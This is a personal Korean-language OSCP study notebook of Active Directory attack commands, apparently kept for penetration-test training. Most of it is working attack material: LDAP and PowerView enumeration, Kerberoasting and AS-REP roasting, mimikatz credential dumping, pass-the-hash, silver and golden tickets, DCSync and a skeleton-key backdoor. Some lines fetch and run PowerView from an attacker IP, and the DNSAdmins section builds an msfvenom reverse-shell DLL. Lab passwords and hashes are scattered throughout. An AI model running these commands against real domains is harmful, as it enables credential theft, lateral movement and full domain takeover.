about AD(Active Directory)
OSCP 과정 중 Active Directory 대상 공격 방법에 대해 기록한 내용이다. 공개용보다는 기록해둔 내용을 스스로 다시 확인하며 공부하려는 목적으로 작성했어서 가독성이 좋지 않을 수 있다.
0. 개요
Domain Controller - AD의 특정 인스턴스가 구성되는 방식에 대한 모든 정보 저장. Windows 2000~2019서버
Domain - AD의 인스턴스가 구성되면 생성됨. ex) corp.com
Computer Object - 도메인에 가입된 실제 서버 및 워크스테이션(도메인의 일부)
User Object - 사용자 개체(조직의 직원)
1. AD 열거
목표 -Fr
* Domain Admins 그룹 구성원 손상시켜 도메인의 모든 컴퓨터 제어
* 도메인 컨트롤러 제어(DC는 모든 사용자계정의 해시암호 포함)
1-1. Traditional Approach
> net user
> net user /domain
> net user jeff_admin /domain
> net group /domain
1-2. A Morden Approach
> powershell # or powershell -ep bypass
PS> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
LDAP
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$SearchString
All Users
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="samAccountType=805306368"
$Searcher.FindAll()
* + additional information
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="samAccountType=805306368"
# Domain Admins : $Searcher.filter="memberof=CN=Domain Admins,CN=Users,DC=corp,DC=com"
# Computers: $Searcher.filter="objectcategory=CN=Computer,CN=Schema,CN=Configuration,DC=corp,DC=com"
# Find Win10: $Searcher.filter="operatingsystem=*windows 10*"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
Foreach($prop in $obj.Properties)
{
$prop
}
Write-Host "------------------------"
}
1-3. Resolving Nested Groups
Domain Groups
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(objectClass=Group)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
$obj.Properties.name
}
Group Member
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(name=Secret_Group)" # Groupname ex) Secret_Group
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
$obj.Properties.member
}
* Domain Groups + Members
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(objectClass=Group)"
$Result = $Searcher.FindAll()
$Groups = New-Object Collections.Generic.List[String]
Foreach($obj in $Result)
{
$Groups.add($obj.Properties.name)
}
Foreach($name in $Groups){
$Searcher.filter="(name="+$name+")"
$Result = $Searcher.FindAll()
$name
Foreach($obj in $Result)
{
$obj.Properties.member
}
Write-Host "-------------------------"
}
1-4. Currently Logged on Users
Current User
- 로컬관리자 권한 필요
powershell -ep bypass
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
Import-Module .\PowerView.ps1
Get-NetLoggedon -ComputerName client251
Get-NetSession -ComputerName dc01
Get-NetComputer -fulldata | select operatingsystem # 현재 pc 외 네트워크 내부에서 실행되는 운영체제 확인
Get-NetUser | select cn # 도메인 사용자 열거
Get-NetGroup -GroupName *
powershell -exec Bypass -C "IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.119.139/PowerView.ps1');Get-NetLoggedOn -ComputerName client251"
## import powerview from kali.
Invoke-ShareFinder # 기본적으로 설정되지 않은 공유폴더 확인
1-5. SPN 열거
SPN
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="serviceprincipalname=*http*"
# $Searcher.filter="serviceprincipalname=*corp.com*"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
Foreach($prop in $obj.Properties)
{
$prop
# nslookup $prop.dnshostname
}
}
* all SPN
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(servicePrincipalName=*)"
$results = $search.Findall()
foreach( $result in $results ) {
$userEntry = $result.GetDirectoryEntry()
Write-host "Object Name = " $userEntry.name -backgroundcolor "yellow" -foregroundcolor "black"
Write-host "DN = " $userEntry.distinguishedName
Write-host "Object Cat. = " $userEntry.objectCategory
Write-host "servicePrincipalNames"
$i=1
foreach( $SPN in $userEntry.servicePrincipalName ) {
Write-host "SPN ${i} =$SPN"
$i+=1
}
Write-host ""
}
GitHub - EmpireProject/Empire: Empire is a PowerShell and Python post-exploitation agent.
Empire is a PowerShell and Python post-exploitation agent. - GitHub - EmpireProject/Empire: Empire is a PowerShell and Python post-exploitation agent.
github.com
* bloodhound
apt-get install bloodhound
neo4j console
Import-Module .\SharpHound.ps1
Invoke-Bloodhound -c All -d CONTROLLER.local --zipfilename loot.zip
./SharpHound.exe -C All -d htb.local --zipfilename loot.zip
./SharpHound.exe -c All -d htb.local --ldapusername svc-alfresco --ldappassword s3rvice
zip파일 옮기고 bloodhood에 import
2. AD 인증
NTML
Kerberos
# Enumeration with kerbrute
./kerbrute userenum --dc CONTROLLER.local[Target] -d CONTROLLER.local[domain] User.txt[file]
--> 사용자 목록 뽑고, 패스워드 없이 접근 가능한거 있나 확인
python /usr/local/bin/GetNPUsers.py spookysec.local/ -usersfile userlist_valid.txt -dc-ip 10.10.28.230 -no-pass
// ID, PW 알면 evil-winrm -i 10.129.114.244 -u arksvc -p w3lc0meFr31nd
# Harvesting Tickets with Rubeus
> Rubeus.exe harvest /interval:30 # This command tells Rubeus to harvest for TGTs every 30 seconds
# brute
>echo 10.10.203.122 CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts
> Rubeus.exe brute /password:Password1 /noticket # This will take a given password and "spray" it against all found users then give the .kirbi TGT for that user
2-1. 캐시된 자격증명 저장 및 검색
해시는 LSASS(Local Security Authority Subsystem Service) 1 메모리 공간에 저장
mimikatz - 로컬 관리자권한 필요
> mimikatz.exe
# privilege::debug
# sekurlsa::logonpasswords // check NTLM, SHA1 ..
* john --format=NT NTLM.txt --wordlist=/usr/share/wordlists/rockyou.txt
# sekurlsa::tickets // check TGS, TGT
bypass UAC
https://ivanitlearning.wordpress.com/2019/07/07/bypassing-default-uac-settings-manually/
https://github.com/turbo/zero2hero
# Dumping KRBASREP5 Hashes w/ Rubeus
c:> Rubeus.exe asreproast
copy to hash.txt
Insert 23$ after $krb5asrep$ so that the first line will be $krb5asrep$23$User.....
kali~$ hashcat -m 18200 hash.txt Pass.txt --force
참고
https://hashcat.net/wiki/doku.php?id=example_hashes
2-2. 서비스계정 공격
SPN 확인 (ex. HTTP/CorpWebServer.corp.com)
KerberosRequestorSecurityToken 생성자를 호출
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'HTTP/CorpWebServer.corp.com'
klist // server: 에 SPN 추가된거 확인
mimikatz # kerberos::list /export // 다운로드
kali~$ sudo apt update && sudo apt install kerberoast
move to kali .kirbi file
kali~$ python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt 1-40a50000-Offsec@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi
kali~$ python /usr/share/john/kirbi2john.py ~~.kirbi > ~~.txt
kali~$ john --format=krb5tgs ~~.txt --wordlist=wordlist.txt
Kerberos 프로토콜에 따르면 서비스 티켓은 SPN의 암호 해시를 사용하여 암호화됩니다. 티켓을 요청하고 무차별 대입 또는 추측을 사용하여 암호를 해독할 수 있다면( Kerberoasting 이라고 하는 기술에서 ) 암호 해시를 알게 되며 이를 통해 서비스 계정의 일반 텍스트 암호를 해독할 수 있습니다. 추가 보너스 로 이 공격에는 관리자 권한이 필요 하지 않습니다 .
kali~$ sudo apt update && sudo apt install kerberoast
kali~$ python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt 1-40a50000-Offsec@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi
kali~$ /usr/share/john/kirbi2john.py otherSpn.kirbi > otherSpn.txt
kali~$ john --format=krb5tgs otherSpn.txt --wordlist=wordlist.txt
C:> Rubeus.exe kerberoast
--> hash copy to kali(hash.txt)
kali~$ hashcat -m 13100 --force hash.txt Pass.txt # hashcat -m 13100 -a 0 hash.txt Pass.txt
kali~$ sudo python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip 10.10.203.122 -request
# kerberoast remortly
2-3. 암호추측
PS> net accounts
PS> .\Spray-Passwords.ps1 -Pass Qwerty09! -Admin
3. AD 측면이동
reg save HKLM\sam sam
reg save HKLM\system system
3-1. 해시 전달
PtH ( Pass the Hash ) 기술을 사용하면 공격자가 연결된 일반 텍스트 암호 대신 사용자의 NTLM 해시를 사용하여 원격 시스템이나 서비스에 인증할 수 있습니다. Kerberos 인증에는 작동하지 않고 NTLM 인증을 사용하는 서버 또는 서비스에만 적용됩니다.
공격자가 SMB(Server Message Block) 프로토콜을 사용하여 피해자에 연결하고 NTLM 해시를 사용하여 인증을 수행한다
kali~$ pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e //10.11.0.22 cmd
// Administrator%LM해시:NTLM해시
kali~$ impacket-psexec tris@10.11.1.24 -hashes :08df3c73ded940e1f2bcf5eea4b8dbf6
# after mimikatz.exe -> privilege::debug -> sekurlsa::logonpasswords, check username and ntlm
sekurlsa::tickets /export
kerberos::ptt <ticket>
이 방법은 Active Directory 도메인 계정 및 기본 제공 로컬 관리자 계정에 대해 작동합니다. 2014년 보안 업데이트 이후 7 이 기술은 다른 로컬 관리자 계정으로 인증하는 데 사용할 수 없습니다.
3-2. 해시 오버패스
오버패스 해시 기술(캡처된 NTLM 해시와 함께)을 사용하여 Kerberos TGT를 획득하여 Kerberos를 사용하여 인증
(로컬 관리자 권한 필요)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords // 타도메인 사용자여부, 그의 NTML 확인
오버패스 해시 기술의 핵심은 NTLM 해시를 Kerberos 티켓으로 변환하고 NTLM 인증 사용을 피하는 것입니다.
mimikatz # sekurlsa::pth /user:jeff_admin /domain:corp.com /ntlm:2892d26cdf84d7a70e2eb3b9f05c425e /run:PowerShell.exe
# run powershell
PS > klist # not work
PS > net use \\dc01
PS > klist # work
PS > .\PsExec.exe \\dc01 cmd.exe # got jeff_admin's shell # klist 없어도 같은 자격증명 사용하면 가능
3-3. 티켓 전달
패스 티켓 공격 은 네트워크의 다른 곳에서 내보내고 다시 주입한 다음 특정 서비스에 인증하는 데 사용할 수 있는 TGS를 이용합니다. (로컬 관리자 권한 필요)
Mimikatz는 실버 티켓을 만들어 (다소 오해의 소지가 있는) kerberos::golden 명령을 통해 메모리에 바로 주입할 수 있습니다.
티켓을 생성하려면 먼저 도메인의 소위 보안 식별자 또는 SID를 얻어야 합니다. SID는 Active Directory의 모든 개체에 대한 고유한 이름이며 다음과 같은 구조를 갖습니다.
whoami /user
S-R-I-S
ex) S-1-5-21-2536614405-3629634762-1218571035-1116
S-1-5 --> AD 내 정적
21-2536614405-3629634762-1218571035 --> 동적이며 도메인의 숫자식별자
1116 --> 도메인의 특정 개체
# HTTP 서비스(iis_service 계정)에 대한 실버티켓 생성
mimikatz # kerberos::purge # 기존 티켓 플러시
mimikatz # kerberos::list # 제거 확인
mimikatz # kerberos::golden /user:offsec /domain:corp.com /sid:S-1-5-21-4038953314-3014849035-1274281563 /target:CorpWebServer.corp.com /service:HTTP /rc4:E2B475C11DA2A0748290D87AA966C327 /ptt
mimikatz # kerberos::list # 실버 티켓 생성 확인
3-4. DCOM
DCOM과의 상호 작용은 TCP 포트 135에서 RPC를 통해 수행되며 본질적으로 API인 DCOM 서비스 제어 관리자를 호출하려면 로컬 관리자 액세스가 필요합니다.
MS office 필요..
4. AD 지속성
4-1. 골든 티켓
Kerberos 인증에 대한 설명으로 돌아가서 사용자가 TGT에 대한 요청을 제출하면 KDC가 도메인의 KDC만 알고 있는 비밀 키로 TGT를 암호화한다는 것을 기억합니다. 이 비밀 키는 실제로 krbtgt 라는 도메인 사용자 계정의 암호 해시입니다 .
krbtgt 암호 해시를 얻을 수 있다면 자체 제작한 맞춤형 TGT 또는 골든 티켓 을 만들 수 있습니다 .
실제로 이 비밀번호는 도메인 기능 수준이 Windows 2003에서 Windows 2008로 업그레이드된 경우에만 변경됩니다. 이 때문에 매우 오래된 krbtgt 비밀번호 해시를 찾는 것이 일반적입니다.
## DC
mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch # get krbtgt's NTLM
## windows
mimikatz # kerberos::purge
mimikatz # kerberos::golden /user:fakeuser /domain:corp.com /sid:S-1-5-21-4038953314-3014849035-1274281563 /krbtgt:fc274a94b36874d2560a7bd332604fab /ptt
mimikatz # misc::cmd
> psexec.exe \\dc01 cmd.exe
lsadump::lsa /inject /name:krbtgt # name at SQLService, Administrator ..
kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:500
misc::cmd
https://wizard32.net/blog/knock-and-pass-kerberos-exploitation.html
Knock and Pass: Kerberos Exploitation
The purpose of this post is not to teach you or to re/present how to exploit a DC in order to retrieve the Kerberos ticket without assigning your host machine into the Domain Controller
wizard32.net
https://github.com/mubix/pykek
GitHub - mubix/pykek: Kerberos Exploitation Kit
Kerberos Exploitation Kit. Contribute to mubix/pykek development by creating an account on GitHub.
github.com
goldenPac.py 'htb.local/james:J@m3s_P@ssW0rd!@mantis'
4-2. 도메인 컨트롤러 동기화
도메인 계정으로 클라이언트 접속 후 관리자계정 NTLM 탈취
mimikatz # lsadump::dcsync /user:Administrator
DCsync Attack - "EXCHANGE WINDOWS PERMISSIONS"
net user vardyvardy vardyvardy /add /domain
net group "Exchange Windows Permissions" /add miku
certutil.exe -urlcache -split -f "http://10.10.14.12/PowerView.psm1" c:\temp\PowerView.psm1
Import-Module .\PowerView.psm1
$pass = convertto-securestring 'vardyvardy' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('HTB\vardyvardy', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity vardyvardy -Rights DCSync
secretsdump.py htb.local/miku:miku@123@10.129.114.118
* kerberos backdoor /w mimikatz
c:> mimikatz.exe
# privilege::debug
# misc::skeletion
net use c:\\DOMAIN-CONTROLLER\admin$ /user:Administrator mimikatz
dir \\Desktop-1\c$ /user:Machine1 mimikatz
* secretdump
secretsdump.py backup:backup2517860@spookysec.local -dc-ip 10.10.28.230
* AD Recycle Bin Group
net user arksvc
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *
* DNSAdmins Group
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.43.100 LPORT=4444 -f dll > privesc.dll
msfvenom -p windows/x64/exec cmd='net group "domain admins" melanie /add /domain' --platform windows -f dll > dns.dll
dnscmd testmachine.test.local /config /serverlevelplugindll \\192.168.43.100\share\privesc.dll
PS C:\> Get-ItemProperty
HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
sc.exe <DC의 FQDN> stop dns
sc.exe <DC의 FQDN> start dns
https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83